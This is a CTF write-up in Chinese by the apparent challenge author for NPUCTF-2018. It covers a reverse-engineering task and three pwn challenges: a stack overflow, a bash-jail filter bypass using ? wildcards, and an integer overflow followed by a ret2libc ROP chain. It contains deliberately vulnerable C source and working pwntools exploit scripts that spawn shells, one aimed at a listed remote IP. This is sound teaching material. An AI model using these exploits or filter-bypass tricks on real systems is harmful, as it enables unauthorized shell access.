NPUCTF-2018 PWN1+2+3_RE1 出题思路+wp

0x00 写在开头

又是一年NPUCTF 这次我从做题的变成了出题的。

作为PWN的出题人,我真的是一身轻松。。。

全场就没几个人做pwn 做了Pwn的 基本也就到pwn1 pwn2的程度

但是 pwn2差不多就是道原题 pwn3和逢魔的pwn4后半部分思路也差不多了

吐槽先不吐了,秦岭深处确实难落地开花。

先把这次比赛 我出的弱智RE1 PWN1 PWN2 PWN3给讲一讲吧~

0x01 RE1

这题,,,我自己被IDA坑了,一度以为题目出错了

这道题,我是作为RE签到题的,程序逻辑相当坑爹,你输入一个keys字符串,但是程序用key进行比对,对了则自动解密加密后的flag来还原出原始flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int main()
{
int key = 1;
char keys[20];
char flag[40] = "uotn{SJT_tDj_KQGbtRmp_Tlq_WqzR}";

puts("Please input keys:");
fgets(keys,20,stdin);
if(key == 0)
{
puts("Well, this lock is not a traditional lock using a key to unlock!");
unlock(flag);
}
else
{
puts("This key is not right!");
return 0;
}
return 0;
}

但是,为什么说被IDA坑了呢,因为IDA太智能了

因为我的源代码的逻辑本身就是有错误的,实际执行就没有if的可能性,就是IDA反编译出的这个”错误代码”

因此,这道题最好是看汇编,

所以,这题本意就是patch掉cmp这一块,让程序执行unlock()(亏我修了大半天,还是别人提醒我,我才意识到应该看汇编。。。)

后面我就不写了,闭着眼睛复制flag就行了

0x02 PWN1

最基础的pwn题(依旧是没人做)

本来想的弄个最简单的pwn,结果就还是没人做,宁可去一棵树上吊死,也不想研究研究新事物

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# include <stdio.h>

void call_system()
{
system("/bin/sh");
}

int vuln()
{
char s[0x40];
puts("why not you input something?");
gets(s);
return 0;
}

int main()
{
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
vuln();
return 0;
}

最基础的栈溢出,然后返回地址覆盖成call_system就OK

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
# p = process('./checkin')
# context.log_level = 'debug'
p = remote('149.28.142.91',10000)
call_system = 0x080484EB

padding = 'A'*0x4c

payload = padding + p32(call_system)

p.recvuntil('something?\n')
# gdb.attach(p)
p.sendline(payload)

p.interactive()

0x03 PWN2

一个bashjail,原题来自杭电Hgame2018,感叹一波别人家氛围是真的好。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
# include <stdio.h>

int deep_filter(char * s)
{
int len = strlen(s);
int i=0;
for(i=0;i<len;i++)
{
if(s[i]=='b')return 1;
if(s[i]=='d')return 1;
if(s[i]=='e')return 1;
if(s[i]=='h')return 1;
if(s[i]=='i')return 1;
if(s[i]=='j')return 1;
if(s[i]=='k')return 1;
if(s[i]=='m')return 1;
if(s[i]=='n')return 1;
if(s[i]=='o')return 1;
if(s[i]=='p')return 1;
if(s[i]=='q')return 1;
if(s[i]=='r')return 1;
if(s[i]=='s')return 1;
if(s[i]=='u')return 1;
if(s[i]=='v')return 1;
if(s[i]=='w')return 1;
if(s[i]=='x')return 1;
if(s[i]=='y')return 1;
if(s[i]=='z')return 1;
}

return 0;
}

int filter(char * s)
{
int len = strlen(s);
int i=0;
for(i=0;i<len;i++)
{
if(s[i]=='l')return 1;
if(s[i]=='s')return 1;
if(s[i]=='c')return 1;
if(s[i]=='a')return 1;
if(s[i]=='t')return 1;
if(s[i]=='f')return 1;
if(s[i]=='l')return 1;
if(s[i]=='g')return 1;
if(s[i]=='*')return 1;
if(s[i]=='c')return 1;

}

return deep_filter(s);
}

int main()
{
char s[20];
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
puts("======baby jail======");
// scanf("%s",&s);
while(1)
{
printf(">");
fgets(s,20,stdin);
if(filter(s))
{
printf(">");
puts("No way! Little Hacker!");
return 0;
}
else
{
system(s);
}
}

return 0;
}

程序虽然是执行system(input)

把跟ls,cat flag,*相关的字符都过滤了,然后把所有英文单词都过滤了

这个严格讲不算什么漏洞利用了。

LINUX里面,*是通配符,?也是通配符

只是一半咱们只会用*,毕竟用*的目的一半就是任意匹配,不计长度了,?只是单一匹配一个字符,所以可能日常中用途就缩减了不少(毕竟咱们有tab补全)

所以,咱们想要cat flag,可以用?去匹配所有的英文

1
/???/??? ????

执行的命令中就包含了

1
/bin/cat flag

非预期~

过滤的时候不严谨了,忘记过滤$0了~

0x03 PWN3

这题,我可是花了一下午写的故事~~~本来还想谁一血送谁一个大宝剑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
# include <stdio.h>

int menu()
{
int c;
puts("select your choice:");
puts("1. Attack");
puts("2. Defend");
while(1)
{
printf(">");
// c = getchar();
scanf("%d",&c);
getchar();
if(c==1) return 1;
if(c==2) return 2;
else
{
puts("invalid choice!");
}
}
}

int vlun()
{
char s[40];
puts("Hero! Now, write something for your story!");
gets(s);
puts("What a wonderful ending!");
return 0;
}

int story()
{
char name[8];
int dmg_warrior;
int dmg_dragon;
unsigned char hp_dragon;
int hp_warrior;
int armor_warrior;
int regeneration_dragon;
int choice;
dmg_warrior = 0;
dmg_dragon = 40;
hp_dragon = 200;
hp_warrior = 40;
regeneration_dragon = 10;
puts("Hello foreigner, could you please tell your name?");
printf(">");
// input(name,20);
fgets(name,8,stdin);
puts("All right foreigner, now that I know who you are, I have to tell you that there is a dragon getting in the way on your journey.");
puts("You must kill the dragon, or everthing will be destoryed by the dragon. Take it! I think you need a sword");
// getchar();
dmg_warrior += 4;
puts("[+]get weapon:sword,damage+4[+]");
// getchar();
puts("Now beat the dragon!!!");
while(1)
{
printf("Dragon: hp:%d dmg:%d regeneration:%d\n",hp_dragon,dmg_dragon,regeneration_dragon);
printf("You: hp:%d dmg:%d\n",hp_warrior,dmg_warrior);
choice = menu();
if(choice==1)
{
hp_dragon -= dmg_warrior;
armor_warrior = 0;
}
if(choice==2)
{
armor_warrior = 35;
}
if(hp_dragon<=0)
{
puts("You win!");
return 1;
}
hp_warrior-=(dmg_dragon-armor_warrior);
if(hp_warrior<=0)
{
puts("Since no one can prevent the dragon,everything burned down.");
return 0;
}
hp_dragon+=regeneration_dragon;
}
return 0;
}

int main()
{
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
int flag;
flag = story();
if(flag)vlun();
return 0;
}

这个的问题出在哪里呢~~~,出在龙的hp上,unsigned char hp_dragon;, 这个类型相当于byte,所以就无脑防御,让龙自己回血,就会溢出到4点血,就正好砍一刀。

接下来就是ROP,用puts去leak内存地址,然后计算出system和/bin/sh,再是构造一个ROP去执行system("/bin/sh")

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *

context.log_level='debug'

vuln_addr = 0x08048659

p = process('./warrior_tales')
# p = remote('149.28.142.91',10001)
elf = ELF('./warrior_tales')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
# libc = ELF('./libc.so.6')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
printf_got = elf.got['printf']
success('puts_plt:'+hex(puts_plt))
success('puts_got:'+hex(puts_got))
p.recvuntil('>')
p.sendline('Wh4lter')

#defend
p.recvuntil('>')
p.sendline('2')
p.recvuntil('>')
p.sendline('2')
p.recvuntil('>')
p.sendline('2')
p.recvuntil('>')
p.sendline('2')
p.recvuntil('>')
p.sendline('2')
p.recvuntil('>')
p.sendline('2')
#attack
p.recvuntil('>')
p.sendline('1')

print p.recvuntil('story!\n')

# leak address
payload1 = 'A'*0x30 + 'B'*4 + p32(puts_plt) + p32(vuln_addr) + p32(puts_got)
p.sendline(payload1)
p.recvuntil('ending!\n')

puts_addr = u32(p.recv(4))
libc.address = puts_addr - libc.symbols['puts']
system_addr = libc.symbols['system']
binsh_addr = libc.search('/bin/sh').next()

success('puts_addr:'+hex(puts_addr))
success('system_addr:'+hex(system_addr))
success('binsh_addr:'+hex(binsh_addr))

# pwn
p.recvuntil('story!\n')
payload2 = 'A'*0x30 + 'B'*4 + p32(system_addr) + p32(vuln_addr) + p32(binsh_addr)
p.sendline(payload2)

p.interactive()
p.close()